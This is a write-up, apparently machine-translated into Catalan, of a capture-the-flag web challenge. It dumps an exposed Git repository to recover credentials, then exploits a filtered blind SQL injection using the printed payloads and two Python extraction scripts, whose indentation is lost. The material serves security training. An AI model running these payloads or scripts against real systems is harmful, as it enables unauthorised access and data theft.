03/08/25
InjeccióSQLiexposicióaGit
Camí invisible | ASC Cyber WarGames
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

I know your browser history
Benvingut de nou amb un altre escrit! Avui parlarem del repte web
Unseen Path to secret de l'ASC Cyber WarGames CTF.Resum
Analitzant un repositori de Git filtrat per extreure credencials i, a continuació, pivotar a una injecció SQL amb un filtrat intens per extreure la bandera.
Camí invisible al secret
Estem representats amb aquesta pàgina "Lloc en construcció".


Com que no està permès el fuzzing, podem intentar trobar algunes pistes.
Allà baix
Powered by Github · PHP · SQLite · Apache. Immediatament vaig pensar a comprovar el camí /.git/
S'ha produït un error Prohibit, però això no vol dir que no puguem accedir al repositori, de vegades només bloqueja aquest camí, però no el repositori real.
Així que vam provar
/.git/config o /.git/HEAD i tenim alguns fitxers!
Aamzing! a continuació, l'aboquem amb git-dumper:
git-dumper http://34.18.12.84:8086/.git/ repo
Això crearà una carpeta
repo amb tots els fitxers dins del repositori git.Al repo tenim alguns fitxers:
index.php, login.php, però tots dos no tenien cap bona informació.El següent que normalment intenteu és comprovar les confirmacions anteriors
git log
Això va fer servir tots els commits. Eren uns 50, així que per a una vista més neta podem utilitzar
git log --oneline per obtenir una única línia per a cada commit.I hem rebut un missatge de commit interessant
Delete Secrets!
Així que comprovem la confirmació abans d'aquesta utilitzant
git checkout 0a6893d i trobem un fitxer anomenat .config.php.swp que conté algunes credencials
Visitem
login.php al lloc web i intentem iniciar sessió amb les credencials que hem trobat i ens trobem!Se'ns presenta un tauler d'administració amb algunes funcionalitats

Hi havia un paràmetre
action a l'URL que podem utilitzar per obtenir diferents pàgines, el vam provar amb algunes vulnerabilitats com LFI, però això no va donar res.L'única funcionalitat interessant va ser la
Check User (Test) que ens permet comprovar si un usuari està actiu o no.
Al principi vaig provar la injecció d'ordres del sistema operatiu, però hi havia algun tipus de filtre que bloquejava símbols com
; `` > < = $A continuació, vam provar la injecció sql amb la nostra càrrega bàsica
' or 1=1 -- , però això no va funcionar ja que = està bloquejat.Jugant amb la càrrega útil 
' or 1 -- em va aconseguir User is active, la qual cosa significa que ha tornat cert i allà tenim una injecció sql cega!

Per confirmar-ho, la càrrega útil
' or 0 -- em va obtenir User not found, el que significa que ha tornat fals
Després d'una mica de prova, descobrim un filtre que bloqueja
<, >, ", union i moltes altres cosesAra, com que sqlmap no funcionarà aquí, hem de trobar una manera de saltar aquest filtre manualment.
El meu amic Korea va idear una càrrega útil que utilitza Unicode per evitar el filtre
' OR (SELECT unicode(substr(name,1,1)) FROM sqlite_master WHERE type GLOB 'table' LIMIT 1) BETWEEN 0 AND 127--
Aquesta càrrega útil intenta extreure el primer nom de la taula de la taula
sqlite_master i avalua si el valor Unicode del seu primer caràcter es troba dins de l'interval ASCII (0–127). Vaig utilitzar l'operador BETWEEN en comptes de = ja que estava bloquejat. Com era d'esperar, la condició va retornar vertadera, confirmant que el primer caràcter del nom de la taula es troba dins de l'interval ASCII.El meu amic
0XMohomiester també va descobrir una altra càrrega útil:' OR 's' IN (SELECT substring(name,2,1) FROM sqlite_master where type IN('table')) --
Ara hem d'automatitzar aquesta operació per exfiltrar els noms de les taules
Amb l'ajuda de la IA, em va fer un script per extreure totes les taules de la base de dades i va fer un gran treball:
import requests
import urllib.parse
import time
# Target endpoint
url = "http://34.18.12.84:8086/admin.php?action=check"
# HTTP headers, including your session cookie
headers = {
"Host": "34.18.12.84:8086",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}
# True and false indicators in the HTTP response
true_indicator = "User is active"
false_indicator = "User not found"
# Sends a POST request with the given SQL payload
def send_payload(payload):
encoded_payload = urllib.parse.quote_plus(payload)
data = f"action=check&username={encoded_payload}"
print(f"[>] Sending payload: {payload}")
response = requests.post(url, headers=headers, data=data)
print(f"[<] Status: {response.status_code} | Length: {len(response.text)}")
if true_indicator in response.text:
print("[✓] Condition is TRUE\n")
return True
elif false_indicator in response.text:
print("[✗] Condition is FALSE\n")
return False
else:
print("[!] Unexpected response:\n", response.text[:200])
return False
# Extracts a single table name at given offset
def extract_table_name(offset):
result = ""
pos = 1
print(f"\n[!] Extracting table name at OFFSET {offset}...\n")
while True:
# Template for the payload with OFFSET
payload_template = (
"' OR (SELECT unicode(substr(name,{pos},1)) FROM sqlite_master "
"WHERE type GLOB 'table' LIMIT 1 OFFSET {offset}) BETWEEN {low} AND {high}--"
)
# Extract one character at a time using binary search
def extract_char(pos):
low, high = 32, 126 # Printable ASCII
while low <= high:
mid = (low + high) // 2
payload = payload_template.format(pos=pos, low=low, high=mid, offset=offset)
result = send_payload(payload)
if result:
high = mid - 1
else:
low = mid + 1
time.sleep(0.2) # Optional delay
return chr(low) if 32 <= low <= 126 else None
ch = extract_char(pos)
if ch is None:
break
result += ch
print(f"[+] Table name so far (offset {offset}): {result}")
pos += 1
if result:
print(f"[✔] Table at OFFSET {offset}: {result}")
else:
print(f"[!] No table found at OFFSET {offset}")
return result
# Main loop to extract multiple table names
if __name__ == "__main__":
max_tables = 5 # Try up to 5 table names
all_tables = []
for offset in range(max_tables):
table = extract_table_name(offset)
if not table:
break
all_tables.append(table)
print("\n[🏁] Extracted Tables:")
for i, t in enumerate(all_tables):
print(f" [{i}] {t}")
La sortida va ser la següent
[🏁] Extracted Tables:
[0] users
[1] secrets
Ara hem d'obtenir la bandera de la taula
secrets, també podríem especificar els noms de les columnes, però el meu amic va suposar que la bandera estarà a la columna anomenada secret i aquesta hipòtesi era correcta.El guió final:
import requests
import urllib.parse
import time
# Target URL
url = "http://34.18.12.84:8086/admin.php?action=check"
# Headers (including PHPSESSID cookie)
headers = {
"Host": "34.18.12.84:8086",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}
true_indicator = "User is active"
false_indicator = "User not found"
# Send payload and determine TRUE or FALSE
def send_payload(payload):
encoded = urllib.parse.quote_plus(payload)
data = f"action=check&username={encoded}"
print(f"[>] Payload: {payload}")
response = requests.post(url, headers=headers, data=data)
print(f"[<] Status: {response.status_code}, Length: {len(response.text)}")
if true_indicator in response.text:
print("[✓] TRUE\n")
return True
elif false_indicator in response.text:
print("[✗] FALSE\n")
return False
else:
print("[!] Unexpected response:\n", response.text[:200])
return False
# Extract one character at a time using binary search
def extract_char_at_pos(pos):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = (
f"' OR (SELECT unicode(substr(secret,{pos},1)) FROM secrets LIMIT 1) "
f"BETWEEN {low} AND {mid}--"
)
result = send_payload(payload)
if result:
high = mid - 1
else:
low = mid + 1
time.sleep(0.2)
return chr(low) if 32 <= low <= 126 else None
# Full flag extractor
def extract_flag():
result = ""
pos = 1
print("\n[!] Starting flag extraction from secrets.secret...\n")
while True:
ch = extract_char_at_pos(pos)
if ch is None:
break
result += ch
print(f"[+] Flag so far: {result}")
pos += 1
print("\n[✔] Extraction complete.")
return result
if __name__ == "__main__":
flag = extract_flag()
print(f"\n[🏁] Final Flag: {flag}")
I aquí tenim la nostra bandera
[✔] Extraction complete.
[🏁] Final Flag: ASCWG{VIM_SPILL_SQLI_DRILL}
ASCWG{VIM_SPILL_SQLI_DRILL}
Etiquetes:

